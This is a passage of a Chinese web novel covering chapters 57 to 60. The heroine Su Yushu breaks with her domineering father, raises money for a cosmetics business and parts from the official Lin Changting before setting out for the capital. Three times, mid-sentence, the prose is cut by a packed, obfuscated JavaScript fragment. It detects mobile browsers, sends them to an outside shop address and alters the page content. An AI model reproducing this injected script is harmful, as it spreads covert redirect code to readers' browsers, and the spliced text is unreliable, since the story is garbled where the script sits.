二人赶在晚饭时准时到了院子。今日的晚饭并未设在正厅,而是安排在了母亲的院子里。院中那棵有着百年树龄的银杏,叶片已微微泛起黄意,在略带凉意的傍晚里依旧如卫士般挺立着。 厅堂之上摆放着一张梨花木圆桌,桌上的白瓷碗碟里盛着热气腾腾的莲子羹,旁边还摆放着几碟精致的酱菜。 母亲身着家常的月白罗袄,正坐在桌边用银签挑着碗里的红枣。见他们进来,便笑着招手道: “快坐,刚炖好的甜汤,凉了就不好喝了。”父亲则端坐在上首的太师椅上,手里转动着两颗油光锃亮的核桃,眉头微蹙地看着她。 苏玉淑心里“咯噔”一下,暗自攥紧了袖口,面上却依旧挂着温顺的笑容,紧挨着母亲坐了下来。 “父亲,母亲。”她乖巧地打了招呼,眼神低顺地落在面前的碗碟上。 “咳……哼。”苏老爷清了清嗓子,手中的核桃落在桌面上,发出一声沉闷的重响,“回来得如此之晚,像什么样子。依我看,你……” “老爷。”苏夫人皮笑肉不笑地给他夹了一筷子菜,“吃饭。” 见夫人面露不快,他这才想起她刚刚的嘱咐—— “要是不想让女儿埋怨你,你就好好说话,凡事别逼她。” 他从鼻子里发出一生冷哼,老老实实地拿起了筷子。 “玉淑,这莲子羹是娘一大早便开始炖的,你尝尝看火候怎样。”苏夫人舀了一勺,递到她唇边。 温热的甜香裹挟着莲子的软糯,在舌尖缓缓化开,苏玉淑眼眶微微泛红,赶忙低下头,用勺子小口舀着碗里的羹汤。母亲的手艺依旧如此精湛,只是从前总嫌她事事操心,竟许久未曾好好品尝过她亲手做的食物了。 “好吃吗?” “好吃,娘的手艺还是和从前一样好。” 她使劲眨巴着眼睛,强忍着眼眶里的泪水,生怕自己一抬头,那泪珠子就会不争气地滚落下来。苏夫人看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655199|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着女儿这副模样,眼中闪过一丝心疼,伸手轻轻抚摸着她的头顶,说道: “傻孩子,好吃就多吃点儿。这一路从樊城回来,肯定累坏了吧?” 苏玉淑哽咽着点了点头,又舀了一勺莲子羹送进嘴里。甜腻的滋味混合着心底的酸涩,交织成一种难以言表的复杂味道。她偷偷抬眼瞥了一下父亲,见他依旧板着脸,只是目光不再像刚才那样锐利,似乎也在默默地观察着她。 “玉淑,此番你能将苏家从水深火热中解救出来,自然是再好不过了。”苏老爷学着夫人的模样,为她夹了一片脆炒山药,“只是你身为女孩子,还是要收收心,日后相夫教子,莫要丢了苏家的颜面才是。” 她望着碗底那片白,停下了筷子。 见她沉默不语,苏老爷接着说道:“我已然考虑周全,日后东流盐场就交由你哥哥管理,我相信他能够妥善经营。还有安字号和富字号几家商铺,我也会逐步交予玉鸿。倘若你喜爱从商,盈字号依旧归你掌管。但有一点,你不许再抛头露面,莫要再出去让苏家蒙羞。” “老爷!” 苏玉淑深吸一口气,再次抬头时,眼中已不见丝毫泪水。她微笑着朝父亲所在的方向望去,只见父亲端坐在那里,宛如一座难以跨越的高山。 “玉淑……别……” “妹妹,先吃饭,哥给你夹些别的……” 苏夫人和苏玉鸿试图劝阻她,可苏玉淑心意已决。她直直地与苏老爷对视,眼中没有半分怯懦: “爹,您可知道东流盐场的账面情况如何?您可知道安字号亏空了多少?您可知道刘掌柜与张青勾结贪污走私了多少财物?您可知道咱们苏家至今仍未摆脱干系,依旧是私盐案的涉案者?我猜,您不知道。” “您知道什么?您知道母亲对您的无奈,哥哥对您的崇拜,各大掌柜对您的言听计从,却不知这看似稳固的家业早已千疮百孔! 您以为把盐场和商铺交给哥哥就能高枕无忧,可您是否想过,根本未固,枝叶何依?您总说女子应当相夫教子,可苏家面临的危难,难道只应由男子来承担? 那些为生计奔波的百姓,那些被苛政压得喘不过气的商户,东梁的动荡政局哪个不比女儿抛头露面更值得您关注?父亲,您要的究竟是苏家的百年基业,还是您自己的面子与尊严!” 啪—— “你!你就是这样跟父亲说话的吗?”苏老爷愤怒地将茶杯狠狠摔在她的脚边,飞溅的瓷片甚至划破了她的手背,鲜血顺着她的手指缓缓流淌而下,重重地砸落在地面上。 “你,你这是干什么呀!”苏夫人用力地推了老爷一把,她心疼地捧起女儿的手,一道鲜红的血痕在烛火的映照下格外刺眼。 “快,快拿药来!”她声音颤抖,指尖哆嗦着按住伤口,可血珠依旧从指缝间不断渗出。苏玉鸿也慌了神,转身就要往外跑,却被苏玉淑一把拉住。 她看着父亲铁青的脸色,缓缓摇了摇头,说道:“娘,哥,没事的。” 伤口的刺痛让她愈发清醒,她垂眸看着手背上蔓延的血迹,轻声说:“爹,您摔碎的不仅是茶杯,还有女儿对您的最后一丝幻想。我会将盈字号发展壮大的,我想要的,我会自己去争取。我并非为了向您证明什么,我只是想求一个公平。 今日这顿饭,女儿怕是吃不下了。” 说罢,她轻轻挣脱母亲的手,起身对着父母深深作了一揖:“爹,娘,女儿告退。” 她走到门前,忽然停下脚步,没有回头,只留给众人一个挺直的背影。 “对了。你们的女儿……从小就不吃山药。” 苏玉淑踩碎一地金黄,迎着渐沉的暮色一步步离开了母亲的院子。 廊下挂着的灯笼被晚风吹得轻轻晃动,她任凭昏黄的光晕在身后忽明忽暗,将自己的背影拉得又细又长。 “从今天开始,我要走自己的路了。这苏家的规矩困不住我,这世道的高墙也拦不住我。这盈字号不是赏赐,是我劈开牢笼的第一道裂缝。 相夫教子?我偏要偏要在这吃人世道里,为寒门织锦,为女子铸剑,为每一个跪着求生的人,凿出一条能挺直脊梁的路!纵使前方万人唾骂,荆棘缠足…… 我苏玉淑,绝不回头。” 58. 第五十八章 苏玉淑没有丝毫的沉沦。 母亲的和稀泥、父亲的专横固然让她伤心不已,可她还有更重要的事情亟待去做。她既没有时间,也没有资本沉溺于悲伤之中。 苏玉淑回到院子,取来纸笔。烛火明灭地映出她坚毅的面庞,她手中执的不是毛笔,而是独属于她的利剑。 “主营女子妆品、首饰、香药……购置店面花费三千两,行会会费五十两,备用银钱六百两,上下打点支出三百两,前期备货一千两…… 以世家大族、豪门女眷为重点群体,采取定制与贩售并行的策略,首发‘花间’主题首饰,每季度时节新品,提供‘时礼’包装,举办主题雅集……” 她的笔迹虽如疾风扫过般潦草,飞白处却似剑锋劈过峭寒。墨色浓淡间,是将“不服输”生生钉进纸页的、不容置疑的决心。 每一项开支她都反复核算,每一个环节她都仔细推敲,仿佛要把她全部的精力与智慧都倾注在这小小的纸页之上。 这并非一份简单的计划,而是她摆脱困境、掌控自身命运的唯一途径。 窗外夜色愈发深沉,偶尔传来几声犬吠,却丝毫未干扰到她的专注。她的目光紧紧锁定在那些数字和文字上,仿佛除此之外的一切都被隔绝在了另一个世界。 烛泪悄然滑落,在桌面上积成小小的蜡堆,恰似她此刻心中压抑却炽热的火焰,既灼烧着过往的委屈,也照亮着前路的微光。白日里母亲泫然欲泣的神情,想起父亲根深蒂固的偏见,没道理地闯入她的脑海,可她只是恶狠狠地摇了摇头—— 唯有破釜沉舟,才能撞破牢笼。 笔尖在纸上沙沙作响地游走,从定价策略到匠人技艺,从宣传渠道到售后承诺,每一个细节都被她以近乎苛刻的态度审视着。 那些看似光鲜的世家女眷背后,隐藏着无数对精致与独特的渴求。而她要做的,便是凭借纸页上的蓝图,在她们心中筑起一座无人能及的“花间之城”,她更要在这男权当道的世间,为自己凿开一道通往自由的裂缝。 夜露沾湿了窗棂,她抬手揉了揉酸涩的眼眶。直到一抹微光洒上书案,苏玉淑这才惊觉东方已泛起了鱼肚白。 一份专属于她的商业计划书,端端正正地摆在桌面之上。 苏玉淑从没有因父亲的不理解而哭泣,也没有因孤立无援而焦虑发愁。然而此刻,看着这份自己一字一句、几乎是泣血完成的计划,她险些落下泪来。 她心中只有一个念头。 走。 盈字号的师傅们还需进一步筛选,原料的问题可以在樊城再想办法收购。在离开之前,有两个最为紧迫的问题亟待解决——入京的公凭和账面的亏空。 把公凭一事交给林长亭去处理,姑且信他这一回。可她自己这些年攒下的小金库,如今所剩不过三千多两,那剩下的一千多两亏空该如何是好呢? 可如今已是箭在弦上,不得不发。 她在屋内来回踱步,目光不经意间扫过柜子上那只许久未曾开启的木箱。木箱里存放着她从小到大积攒下来的一些私密物件——一支品相极佳的玉簪,一顶坠着硕大珍珠的头冠,还有几匹从哥哥在江南带回的云锦,那原本是打算将来给绿萝和石竹做嫁衣用的。 还有在她手头宽裕时偷偷攒下的宝石禁步和步摇,那一方从当铺里检漏得来的端砚,虽说算不上稀世珍宝,却也是极为上乘的文房用品。 她抚摸着木箱老旧的纹路,手指轻轻拂过那些承载着往昔回忆的物件,心中不禁涌起一阵酸涩,但这股迟疑很快便被更坚定的决心取代。 此刻的不舍,只会成为未来的枷锁。 她咬了咬牙,将那些物件逐一取出,整齐地摆放在桌上。这些曾经被她视作珍宝、舍不得翻弄的东西,如今却成了她填补亏空的最后依仗。 玉簪在当铺至少能当得一百两银子,那些云锦倘若遇上识货的布庄,换得几十两应该不成问题,那方端砚,或许也能换来八十两左右。如此这般,算下来一千多两的亏空也能勉强凑齐。 窗外的天色已从鱼肚白渐渐转为微明,她将这些物件仔细地包裹好,塞进随身携带的包袱里,眼神中再无丝毫犹豫。 当第一缕晨曦透过窗棂洒进屋内时,她已然斩断了所有的后路。 纵使前路荆棘,此刻的她也必须勇往直前。 “小姐……您这是……” 昨夜大小姐回院后便把自己关在屋里,再不许任何人打扰。 绿萝实在放心不下,早早地便来到她的房门前。 平日里不曾动过的木箱此刻已是空空如也,绿萝看了看那鼓鼓囊囊的包裹,她一个箭步冲到她身边,急切地握住苏玉淑的胳膊:“您这是要做什么呀!” “绿萝,你和石竹去收拾东西,只带上值钱且用得上的,明日我们就离开。我去把这些东西卖掉。” “卖掉?”绿萝难以置信地瞪大了双眼,“小姐,这里面还有您多年来的珍藏,您怎么舍得……不行不行,小姐,您是不是遇到什么难处了,您告诉我们,我们帮您想办法!” 她轻轻抚摸着绿萝的肩膀,语气温柔:“没事的,相信我。” “小姐……您……” 听到动静后,石竹不顾一切地从门口闯了进来,她的膝盖重重地撞在地上,发出一声巨响。她全然顾不上疼痛,此刻在她眼中,只有情同姐妹的两人。 石竹平日极少哭泣,可她却泪流满面地紧紧攥着两人的手,死活不肯松开:“大小姐,你别什么事都自己扛着!你要是遇到什么事,就告诉我,我就算拼了这条命,也会帮你的!石竹誓死追随小姐!” “我也是!小姐,你可别丢下我们,你上次明明都答应了……”绿萝哭着扑到苏玉淑的怀里,“小姐,你,你就算是亡命天涯,你也得带上我!” 三个女孩子紧紧相拥,涕泗横流。 哭了好一会儿,苏玉淑率先擦干眼泪。此刻绝非沉溺于伤感之时,若她软弱,那身后之人又该如何? 她扶起绿萝和石竹,眼神再度变得坚毅:“你们放心,我绝不会丢下你们。咱们一起走,前往京城。眼下账面上的备用款项不足,所以我才要典当变卖些物件。你们放心,等我以后赚了钱,定会给你们买更好的,绝不会亏待你们!” “小姐!都这时候了,您还说这些话!”绿萝气冲冲地甩开她的手,随后拉着石竹跑了出去。 等两人再次回来时,手里已然多了两个胀鼓鼓的荷包。 “小姐,这是我们俩这些年存下的一点银钱,虽说不多,但您都拿去用吧!”她使劲把荷包塞到苏玉淑手中,“不管您做什么,我们俩都会追随您的!” 她是首富之女啊。 这么多年来,向来只有她施舍救济他人的份儿,如今还是头一回从别人那里收到钱财。苏玉淑怔怔地望着那绣着两朵杜鹃的荷包,忍不住笑了起来。 石竹小心翼翼地询问道:“小姐……我俩这儿也就几十两银子……您是不是嫌少啊……” “怎么会呢。”她用力将二人揽入怀中—— “谢谢。” “小姐!我好不容易才不哭的,你不要和我说‘谢谢’,你是全天下最好的小姐……”绿萝说着又哭起来,引得两人也跟着红了眼眶。 三人正感怀之际,门口一个身影匆匆隐匿了踪迹。 老槐树依旧静静地伫立在原地,摇落的枯叶沙沙作响。 苏玉淑费了好大一番功夫才将二人哄好,她整理好自己的仪容,提着箱子出了门。盈字号虽说挂在父亲名下,但若没有她在背后悉心指点,绝不可能有如今的气候。 此次前往京城,盈字号她自然要收入囊中。 就算与家里决裂,也总得给自己留些底牌,为自己谋取些好处。 她苏玉淑可不是什么心慈手软之人,才不会舍了自己的利益去做那些表面功夫。 只要解决了钱的问题,其余的一切都好商量。她吩咐车夫前往盈字号,既然已下定决心明日启程,那么有些事情就必须在今日解决。 尽管她的身体极度疲惫,几乎达到了极限,头脑也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657867|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些昏沉,但她依然强打精神,仔细叮嘱账房先生将近期的账目明细整理出来,又把几个相熟的管事叫来,逐一交代后续的安排。她语速极快,却条理异常清晰,从货物的清点到人员的调配,每一项都安排得十分周全。 王掌柜见她神色凝重,虽心中满是疑惑,却也不敢多问,只是一一应承下来,不敢有丝毫懈怠。等处理完盈字号的事务,已是午时。 太阳晒得地面微微发烫,苏玉淑眯缝着眼睛,眼前的一切都熟悉又令人恍惚。 “大小姐。”王山追了出来,他虽不清楚发生了什么,但他知道对她而言,肯定不是什么好事。 苏玉淑转过身,勉强挤出一丝笑容:“王掌柜,有什么事吗?” 王山上前一步,目光中透露出的急切几乎要将她淹没:“上次跟您提的事,您还记得吗?我……我要跟您去京城。” “好。” “啊?” 她的干脆利落让他始料未及。王山呆呆地攥紧衣角,不知为何,他心底涌起一种不祥的预感。 “怎么?你不愿意?” 他慌张地摆摆手:“不,我不是那个意思……” “此去京城,凶险异常。盈字号的本部仍会留在师城,为我们做坚实后盾。只是有一点……王掌柜,倘若你随我一同前往,恐怕在父亲那里你日后再难抬起头来。但我敢向你保证,到了京城,我定不会亏待你,我必定会将盈字号发展壮大。你是我最为相熟的掌柜,亦是我最为信任的朋友。 你……可愿意追随我?” 朋友—— 他想起了自己十岁那年,面前那个锦衣华服的小女孩儿。她宛如天仙一般,脚步蹁跹地走到他的面前,毫不嫌弃地握住他那脏兮兮的手。 “爹,他好可怜,我不要有人冻死在这儿!我们带他回去,好吗?” 一晃,竟已过了十几年。 此刻,王山头脑中那根理智的弦彻底崩断。苏家的丰厚俸禄,大掌柜的无上荣耀,他皆可舍弃。他猛地跪倒在地,膝盖重重磕在青石板上,发出沉闷的声响:“王山此生,唯大小姐马首是瞻!刀山火海,在所不辞!” 苏玉淑俯身将他扶起,眸中闪过一丝动容:“起来吧,王掌柜。从今往后,你我便是共商大计的伙伴,无需多礼,我便唤你一声王大哥,可好?” “好!好!” 王山紧紧攥起拳头,无论如何,他都要帮她赢下这一局。 他要让这苏家商号的“苏”,是苏玉淑的“苏”。 苏玉淑拍了拍他的肩膀,转身望向街道尽头。那里车水马龙,人声鼎沸,仿佛整个师城的繁华都向她涌来,却又都将成为她身后的风景。 “还有一处地方,我必须得去一趟。” “大小姐是否需要我帮忙?” 她轻轻摇了摇头,嘴角含笑,拎起手中的箱子说道:“你做好分内之事,明日巳时在苏家后门相见。” 这箱子里的物件,是她目前唯一能够迅速变现的筹码。她必须赶在当铺和布庄关门之前,把这些东西妥善处理好。她深吸一口气,努力压下心中那一丝残留的怅然,迈着轻快的步伐朝着马车走去。 此时晨雾还未完全消散,那干燥的阳光让她因彻夜未眠而昏沉的脑袋清醒了些许。 “大小姐!” 一道声音传来,打断了她正要迈上车的脚步。她循声望去,只见一个熟悉却又有些陌生的身影正大步朝着自己奔来—— “白梅!怎么会是你!” 自从她和石竹一同被父亲派到母亲的院子里,她已经许久没见到白梅了。白梅和另外两人一样,都是打小就和她一起长大的侍女。只怪她自己性子过于张扬顽皮,才使得她们被迫分开。这对白梅来说,也算是一场无妄之灾。 “小姐,快上车再说话!” 白梅风风火火地一把拉住苏玉淑的胳膊,不由分说地就将她拉上了车。苏玉淑还没坐安稳,白梅便迫不及待地掏出一个信封,交到她手中: “小姐,银票!夫人给您的银票!” 59. 第五十九章 两张通元号的银票安静地躺在信封之中。一张面额为五百两,另一张则是三百两。苏玉淑的指尖轻轻抚过那带着油墨香气的票面,只感觉心脏仿佛被一个重物猛然撞击了一下。 她抬眼看向白梅,声音带着一丝难以察觉的颤抖问道:“母亲……她怎么知道我需要用钱?” 白梅眼圈微微泛红,轻轻握住她的手,低声说道:“夫人昨夜不放心您,便偷偷到您的房门口查看,见您翻找旧物,便知道您是银钱不足了。她悄悄去了账房,本想支些银子给您,却发现公中账目近来被老爷看得很紧,根本无法动用。 夫人不懂生意上的事情,也没有什么积蓄,这些钱是她的私房钱,小姐……夫人心里是向着您的。” “她可知道我要做什么?”苏玉淑追问道,指节因为用力而微微泛白。 白梅先是摇了摇头,接着又急忙点了点头:“夫人没问,她只说‘淑儿向来有主见,她想做的事,定有她的道理。我这个做娘的,帮不上别的,这点银钱总能让她少些掣肘’。 她还说,让您万事小心,若在外受了委屈,家里永远是您的……退路。” 最后那句“退路”,白梅说得极轻,却像一根针一般,轻轻刺破了苏玉淑强撑着的坚硬外壳。 她想起母亲平日里温婉恭顺的模样,又想起她面对父亲偏见时欲言又止的眼神,原来那些看似无声的包容,早已在岁月里织就了一张最坚实的网,在她决意破釜沉舟之时,悄然托住了她下坠的身躯。 她原本以为自己是独自一人在黑暗中摸索前行,却未曾想身后一直有一盏灯为她照亮前路。 “小姐,还有一件事……” “你说。” “少爷请您前往清雅楼一趟。” 苏玉淑轻轻皱起眉头,这清雅楼是苏家规模最小的一处茶楼,平日里苏家的家人们很少会去这个地方。此刻叫她过去…… 白梅见此情形,赶忙补充道:“少爷说这件事不宜在府中谈论,让您务必亲自过去一趟,还说……还说这关乎您此次前往京城的成败。” 苏玉淑的指尖轻轻捻着那两张薄薄却重如千斤的银票,她刚刚平静下来的心湖再次泛起涟漪。她沉思片刻,将银票小心谨慎地贴身收好,然后对车夫吩咐道:“先去清雅楼。” 马车的轱辘缓缓转动,载着她驶向那未知的远方。 清雅楼离美人街并不远,仅仅一炷香的时间便抵达。苏玉鸿早早地在此等候,听到马车声响,他焦急地探出头张望,直至确认是妹妹的身影,才放下心来。 他担心她不愿前来。 他埋怨自己,埋怨自己昨天没为她说上半句好话,也痛恨自己。 痛恨自己为何就是保护不好妹妹。 他明明是兄长,却总是在她最需要支持的时候选择沉默,任由父亲的偏执像刀子一样扎在她心上。 此刻看着妹妹略显憔悴却依旧挺直的脊背,他喉头哽咽,千言万语堵在胸口,最终只化作一句沙哑—— “来了。” 苏玉淑点点头,跟着他走进清雅楼二楼最为僻静的雅间。刚一落座,她便开门见山地问道:“哥,你特意叫我来,到底所为何事?” 苏玉鸿深吸一口气,从怀中掏出一个紫檀木盒,推到她的面前:“玉淑,拿着。” 木盒打开,里面是叠放得整整齐齐的三张银票,还有满满一层铺得十分规整的宝石。 她惊愕不已,连忙将盒子推回:“哥,这太贵重了,我不能收。” “妹妹,有些话……我早该跟你说了。”苏玉鸿艰难地开了口,他依旧保持着一贯温和的笑容,只是那笑容看上去莫名有些苦涩,“我知道自己天资比不上你,也明白自己远没有你的魄力。父亲总说女子无才便是德,可在我心里,你比世上任何一个男子都要出色。 这些年你为家里生意所做的一切,我都看在眼里。只是我性格懦弱,始终不敢违抗父亲的意愿,才让你受了那么多委屈。这次你要走,我知道拦不住,也不该拦。这盒子里的东西,是我这些年攒下的私产,你拿着。去京城后打点人脉、站稳脚跟都需要钱。 别再像以前那样什么事都自己扛着,你……还有我这个哥哥。” 他的声音越说越低,满是浓浓的愧疚,“父亲那边,我会想办法去周旋,你只管放心去闯。若是……若是在京城遇到难处,一定要告诉我,无论如何,我都会想办法帮你。” “哥。” 苏玉淑甚至无需翻看,便深知苏玉鸿必定是将自己的钱,大部分乃至全部都给了她。苏家商号众多,然而所需周转的资金数额巨大,公账有专门的账房先生每月核查。哥哥定然是动用了自己这些年积攒的私房钱,可是……可是他自己往后该如何是好呢? “我不能……” “你不要钱就是不要我这个哥哥。” 苏玉鸿少有地黑下脸,他将盒子重新推到她面前,语气带着不容置喙的坚定:“这些钱你必须收下我把这些给你,一来是为了让你在京城能有底气,二来也是替父亲……替他给你赔个不是。” 他顿了顿,眼眶微微泛红,“你放心,家里的事有我盯着,父亲那边我会慢慢劝。你只要记住,往后无论何时,无论何种境地,我这个哥哥,永远都站在你这边。” 苏玉淑望着他眼中闪烁的真诚与担忧,心中那道坚冰般的防线悄然裂开一道缝隙,滚烫的暖流顺着缝隙缓缓淌过四肢百骸。她沉默片刻,终是伸手将木盒紧紧抱在怀中,指尖因用力而微微泛白,声音带着一丝哽咽却异常清晰: “哥,谢谢你。” “去吧,玉淑。” 苏玉鸿率先站起身来,快步走向门前,却又蓦地停住。他背对着妹妹,用力抹了一把脸,声音略带哽咽:“明日我就不送你了。我……我实在舍不得。” 还没等妹妹反应过来,他已匆匆下楼,身影瞬间消失在转角处。 苏玉淑恶狠狠地攥着衣角,她不能哭,一定要忍住。这么多年来,自己一味埋怨父亲不公、哥哥平庸,可曾真正了解过他身为长子的苦闷?他既要在父亲的威严之下维持家族的体面,又要在兄妹之间平衡关系,或许早已习惯把自己的真实想法隐藏在温和的表象之下。 她轻轻打开紫檀木盒,指尖拂过那些晶莹的宝石,阳光折射出五彩的斑斓,每一颗都宛如哥哥无声的守护。 “哥……我不会让你失望的。” 她把呢喃藏进一片坚定的决心之中,她是一位勇往直前的战士,绝不能在此处动摇自己的勇气。 母亲和兄长给予的疼爱千真万确,可这些年来自己遭受的苦难也实实在在。她苏玉淑不会平白无故地选择原谅,更不会毫无缘由地心生怨恨。 那些对她好的人,她必定会舍命相酬,而那些对她不好的人……她也定然会睚眦必报。 苏玉淑定了定心神,此时人手已布置妥当。茉莉花露虽仍有瑕疵,但倒也来得及到京城之后再作打算。银钱的问题目前已然解决,她只需在今天确认好最后一件事——公凭。 她内心是信任林长亭的,可如今的形势让她不得不亲自走一趟。听不到他亲口承诺,她始终放心不下。 苏玉淑并未带上白梅,毕竟白梅对她的事情知之甚少,而且唯有安稳地待在母亲身旁,才能得到保全。此次出行已然连累了绿萝和石竹,她不能再无端牵连一个人了。 “在琳琅街停下,到富字号的院子里等我。” 人多眼杂,还是谨慎些为好。 她绕了两条街,确认身后无人跟踪后,才迈进御史府衙。林长亭今日正忙着处理私盐案的收尾工作,听到下人前来通报时大为惊讶。他当即放下手中的卷宗,妥善交代好手头事宜后,快步迎了出来。 在听闻消息的那一刻,他内心便隐隐有了不祥之感。而当看到她那强作镇定的小脸时,他心中的担忧便真切地落了地。 林长亭深吸一口气,此地并非适宜交谈之处,可他实在无法抑制那一丝心疼。在她那苍白的笑容面前,理智终究还是敌不过情感。 他轻轻握住她的胳膊,轻声说道:“没事的,有我在。” 林长亭领着她穿过回廊,来到书房内室,屏退左右后,这才沉声问道:“出什么事了?” “没……” “别骗我。”他的声音低沉得可怖,狭长的眸子陷入一片阴影,如鬼魅般紧紧攫住她的视线,“你肯定是遇到麻烦了才会上门找我,不是吗?是生意上有难处,还是有人为难你?” 他一连串地发问,语气中满是急切与焦虑,仿佛她身上的每一丝异样都触动着他最敏感的神经。 苏玉淑微微一笑,尽量轻柔地说道:“我明天……就要前往京城了。” 林长亭眉头微皱:“为何如此?怎么这般匆忙?才刚回来两天,诸多事情都还没料理妥当……怎么突然就要去京城了呢?” “眼看就要入秋了,到了京城也得花些时间做准备。我不想错过年节这个赚钱的好时机。”她竭力挤出一个与平日别无二致的笑容,道:“林大人,我的公凭……” 她怎么这般傻。 真以为别人都是傻子吗? 林长亭望着她眼中刻意掩饰的慌乱,心中那丝不祥的预感愈发强烈。 他太了解她了,她向来不愿轻易示弱,此刻这般急切地提及公凭,必定是有要紧之事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671731|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他没有再追问原因,只是默默从书案抽屉里取出一份早已备好的文书,轻轻放在她面前。 宣纸之上盖着鲜红的官印,墨迹未干的字迹尽显他一贯的严谨。 “这是……” “京城那边我已经传信打点好了,你大可放心。”他稍作停顿,下意识地握紧了拳头,“这是我的亲笔信,你收下。到了京城,交给京城商税务的钱知事,你就能顺利拿到公凭了。 其实这封信……我早就准备好了。只是我原本想着,或许我们可以一同出发,这样就用不着了……没想到终究还是要分开。” 苏玉淑拿起信的手微微一颤,抬头时正跌进他深邃的眼眸,那里面翻涌着她看不懂的复杂情绪。有担忧,有伤感,还有一丝她不敢深究的温柔。 “谢谢你。”万千话语只化作一声轻轻的道谢,她知道自己此刻说什么都是徒劳。 如果可以,她也想两人秋日策马,带着一众好友奔腾于红叶林间,看层林尽染,听秋风过耳。她甚至有一瞬的动摇,是否是自己太过倔强刚直了? 或许只需向父亲低下头,又或许向林长亭告个状就能解决所有的问题—— 可她做不到。 她一路走到现在,不是为了把自己送到谁的家里做笼中雀的。 林长亭的笑难掩苦涩:“和我……你永远都不必道谢。” “咱们两个不一起走挺好的,若是过从亲密反而招人非议。你打算什么时候回京城?”苏玉淑不喜欢这种伤感的分别场景,便笑嘻嘻地岔开话题,“等你回来,差不多也能请我吃糖葫芦了。” “我的大小姐,等那时候你恐怕都赚得盆满钵满了,还让我请你吃饭呀?” 她轻叩着自己的下巴,眼睛里闪烁着明亮的光芒,兴致勃勃地说道:“那就本小姐请你!到时候糖葫芦、炒栗子,还有冬米酿,你随便选!要是下了雪,咱们还能叫上鸩和那两个臭小子一起打雪仗呢!提前说好,你可不能让他们下手太重,要是把绿萝和石竹欺负哭了,我可就要生气了。” 苏玉淑竭力提高声调,将重逢的场景描绘得栩栩如生,仿佛这样就能减轻分别带来的伤感。 她越是手舞足蹈,林长亭的心里就越感难过。他清楚她是在强颜欢笑,那些看似轻松的玩笑话,不过是她用以掩饰内心不安的铠甲。 他多么想告诉她,不必如此故作坚强,不必独自承担所有重担,可话到嘴边,却只化为一声低低的叹息。 “苏玉淑。” “嗯?” 他将她拥入怀中。 “林长亭,你……你干什么……” “别动。抱歉,我知道……但是……你先别动,好吗。” 他的怀抱带着熟悉的墨香与淡淡的暖意,将她整个人轻轻包裹。苏玉淑的身体瞬间僵住,甚至忘记了呼吸。 她只能清晰地感受到他胸膛有力的心跳,一下又一下,沉稳而坚定,仿佛要透过衣衫传递到她慌乱的心底。林长亭只是更紧地抱着她,仿佛要将她揉进骨血。这个向来从容谨慎的男人,此刻手臂却在无法自控地微微颤抖。那环在她腰间那小心翼翼却又不容挣脱的力道,比任何承诺都更让她心酸。 书房里静得只能听见窗外偶尔传来的几声鸟鸣,还有两人近在咫尺的呼吸声,交缠在一起,带着一丝说不清道不明的暧昧与酸涩。她的脸颊不受控制地开始发烫,那些强撑着的镇定与伪装,在这突如其来的拥抱中,寸寸瓦解。 “林长亭……我走了,你,你好好照顾自己,你还要照顾好我哥和我娘,还有我家的盐场,你别抓太多人走……”苏玉淑哭得伤心,断断续续的话语里满是孩子气的叮嘱,眼泪像断了线的珠子般滚落,浸湿了他胸前的衣襟。 林长亭只是更紧地抱着她,下巴抵在她发顶,声音沙哑得不成样子:“好,都听你的。盐场的事我会留意,你哥和伯母我也会照看好,你放心去闯。只是……到了京城要记得按时吃饭,夜里多穿衣服不要乱跑,遇到解决不了的事就传信回来,别一个人硬扛着,知道了吗?” 他顿了顿,像是用尽了全身力气才说出后面的话:“我会尽快处理完这边的事去京城找你。等我。” 她抽噎着脱离开他的怀抱,她贪恋那一份温暖,可却不能一直沉溺其中。 苏玉淑用衣袖胡乱擦了擦脸上的泪痕,努力挤出一个比哭还难看的笑容:“我会在京城打下自己的一片天……忘了告诉你,京城的铺子我定了名字,叫玉海亭。 取得是君子比德如玉,高洁明哲之意……更重要的是,包含了你我的名字。林长亭,不是我等你,而是你等我。” 他再度拥她入怀:“好,我等你。” 60. 第六十章 “小姐,都收拾妥当了。王掌柜差人传信过来,说他和车队在城西等着您。” “好,你们再仔细检查一下,看看有没有遗漏,我们马上就出发。” 经过一夜的休整,苏玉淑感觉精神好了许多。昨天她让林长亭不必相送,可此刻望着空荡荡的巷子,心中还是不禁涌起一丝失落。 这样其实也挺好。 没有矫情的离别场景,没有悲情的目送时刻,倒也干净利落。她深吸一口气,强行将那些翻涌的情绪压在心底,转身对身后的绿萝和石竹说道:“走吧,我们该出发了。” 主仆三人登上马车,车轮缓缓转动,马车渐渐驶离了这座承载了她十七载光阴的城镇。 